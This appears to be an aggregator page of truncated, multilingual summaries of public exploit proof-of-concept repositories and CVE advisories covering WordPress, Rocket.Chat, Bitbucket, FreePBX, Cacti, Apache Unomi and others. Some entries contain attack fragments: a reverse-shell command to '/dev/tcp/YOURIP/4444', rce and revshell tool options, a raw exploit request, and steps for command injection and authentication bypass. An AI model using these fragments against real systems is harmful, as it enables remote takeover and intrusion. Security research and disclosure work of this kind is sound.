CVE-2024-10924

CVE-2024-10924 Really Simple Security（免费版、专业版和专业多站点版）9.0.0 – 9.1.1.1 – 身份验证绕过 描述 WordPress的Really Simple Security（免费版、专业版和专业多站点版）插件在9.0.0至9.1.1.1版本中存在身份验证绕过漏洞。这是因为双因素REST API操作中的'checkloginandgetuser'函数对用户检查错误处理不当。当“双因素认证”设置启用时（默认禁用），未经身份验证的攻击者可以利用此漏洞以站点上任何现有用户（如管理员）的身份登录。 CVSS...

HPE-Aruba-AOS8-Vulnerabilities

⚠️ Estado de divulgación: Todos los hallazgos de este repositorio fueron enviados al Programa de Bug Bounty de Redes de HPE Bugcrowd entre mayo y junio de 2026. Cinco de seis envíos fueron cerrados como "No aplica" en el nivel de triaje sin reconciliación técnica de las pruebas presentadas. No se...

CVE-2020-0796-SMBGhost-Exploit-Demo

CVE-2020-0796 漏洞利用演示（SMBGhost） 该项目演示了 CVE-2020-0796（又称 SMBGhost）的概念验证 PoC 漏洞利用，这是一个影响使用 SMBv3 的 Windows 10 和 Windows Server 系统的严重未授权远程代码执行漏洞。该项目是学校网络安全项目的一部分。所有漏洞利用代码归功于 ZecOps。我仅出于教育目的使用并改编了这些代码，以在受控实验环境中演示 CVE-2020-0796 的利用。 演示要求 要复现此演示，需要以下设置： 攻击机 VirtualBox（使用 NATNetwork 进行虚拟机网络连接） Windows...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-在Moodle中的预认证远程代码执行漏洞 漏洞简介 Moodle 是世界上最流行的学习管理系统。立即开始创建你的在线学习网站！ Moodle 的 Shibboleth 认证模块存在一个未授权的远程代码执行漏洞。该模块广泛应用于大学，允许一所大学的学生在其他大学进行身份验证，从而选修外部课程并与其他学生互动。 环境搭建 git clone https://github.com/lavclash75/CVE-2021-36394-Pre-Auth-RCE-in-Moodle.git cd "CVE-2021-36394 Pre-Auth RCE in Moodl...

wp2shell-poc

wp2shell 💙 Apoya el Proyecto Si aprecias mi trabajo, considera apoyar el proyecto mediante USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN Cadena RCE de Pre-Autenticación en WordPress Core wp2shell es una prueba de concepto de investigación de seguridad que demuestra una cadena de vulnerabilidades...

CVE-2022-36804-PoC

CVE-2022-36804-PoC 影响（大部分）BitBucket版本 ://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell Exploit to perform --cmd CMD Command to execute for the 'rce' exploit curl http://example.com --knary KNARY...

CVE-2026-48711

A flaw was found in SSHFS, a network filesystem client. An attacker can exploit this vulnerability by providing a specially crafted mount source that includes argument delimiters. This improper handling of the mount source allows for argument injection, leading to the execution of arbitrary...

watchTowr-vs-FreePBX-CVE-2025-57819

CVE-2025-57819 FreePBX 预认证远程代码执行 FreePBX 预认证远程代码执行 1day 检测痕迹生成器工具 检测实战 检测痕迹生成器尝试上传 PHP 脚本，若上传失败则添加新用户。 $ python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://freepbx.lab.local / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

CVE-2023-27524

CVE-2023-27524 Apache Superset 认证绕过 CVE-2023-27524 参考 https://nvd.nist.gov/vuln/detail/CVE-2023-27524 https://github.com/horizon3ai/CVE-2023-27524 https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/...

SiteCore-RCE-Detection

SiteCore-RCE-Detection 用于检测 sitecore RCE - CVE-2021-42237 Sitecore Experience Platform 预认证 RCE - CVE-2021-42237 该脚本依赖于 sitecore 版本检测，以及通过 GET 和 POST 向易受攻击的 Report.ashx 发出请求时的响应。 脚本读取一个包含 URL 列表的文件，每行一个 URL，格式为 www.url.com。 用法： python3 check-for-sitecore-rce.py -h python3 check-for-sitecore-rce.py...

CVE-2023-38646

CVE-2023-38646 Metabase 预认证 RCE!! 使用方法 查看手动利用 POC：https://youtu.be/b51LPjD-uTo...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（临时编写） 描述 利用 Rocket.Chat 3.12.1 中的预认证 NoSQL 注入漏洞，泄露管理员的 TOTP 密钥和密码重置令牌，接管管理员账户，并通过恶意 webhook 集成实现 RCE。 受影响版本 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 参数 参数| 说明 ---|--- -t| 目标 Rocket.Chat URL -u| 你注册的低权限用户名 -p| 你注册的低权限密码 -e| 管理员邮箱地址 -a| 管理员用户名 -c| 反弹 shell 命令...

CVE-2025-31161

CVE-2025-31161 Prueba de concepto para CVE-2025-31161 / CVE-2025-2825 Este POC explota la vulnerabilidad authbypass para crear una nueva cuenta de usuario con permisos de nivel Admin. El Auth Bypass requiere el nombre de usuario targetuser de un usuario existente en el servidor CrushFTP. El valor...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 未授权命令注入漏洞。 认证绕过 添加 X-Forwarded-For 请求头即可绕过认证，注意其值并非固定值。 暴力枚举 使用 Burp Intruder 对 hostid 和 localdataids 的值进行模糊测试。 远程命令执行 命令注入点位于 pollerid 参数。 GET...

cve-2026-41940-PoC

CVE-2026-41940 ⚠ Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados. Descripción Una herramienta para explotar CVE-2026-41940, un bypass de autenticación crítico en cPanel & WHM CVSS 10....

CVE-2019-11539

CVE-2019-11539 原始发现者：Orange Tsai, Meh Chang 作者：Justin Wagner, Alyssa Herrera 致谢：Orange, Meh Chang, Rich Warren, Alyssa, Mimir 漏洞描述 在 Pulse Secure Pulse Connect Secure 版本 9.0RX（9.0R3.4 之前）、8.3RX（8.3R7.1 之前）、8.2RX（8.2R12.1 之前）和 8.1RX（8.1R15.1 之前），以及 Pulse Policy Secure 版本 9.0RX（9.0R3.2...

CVE-2020-13942

CVE-2020-13942 Apache Unomi 预认证远程代码执行 CVE-2020-13942 利用 POST /context.json HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: application/json Content-Length: 200 "filters":"i...

poc-CVE-2026-0073

CVE-2026-0073 PoC（无线 ADB TLS 认证绕过） 该目录包含针对 CVE-2026-0073 的 Python 概念验证脚本。 该脚本使用 AI 辅助代码生成技术生成。 概述 CVE-2026-0073 是 ADB 守护进程证书验证（auth.cpp 中的 adbdtlsverifycert）中的一个逻辑问题。 存在漏洞的检查逻辑将 EVPPKEYcmp... 的任何非零返回值都视为成功匹配。 预期的比较结果处理应为： 1 = 密钥匹配 0 = 密钥不匹配 负值 = 错误 / 不支持的比较 在存在漏洞的构建版本中，负值会被视为真值，从而可能错误地将证书标记为已授权。...

Astra Linux – Vulnerability in xrdp

xrdp is an open-source RDP server. Versions up to 0.10.5 have a heap-based buffer overflow in the EGFX graphics dynamic virtual channel implementation, due to insufficient validation of client-controlled size parameters. This allows for out-of-bounds writes via crafted PDUs. Pre-authentication...

Astra Linux – Vulnerability in freerdp3

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, an unvalidated authlength field read from the network triggered a WINPRASSERT failure in rtsreadauthverifiernochecks, causing any FreeRDP client connecting through a malicious RDP Gateway to crash with...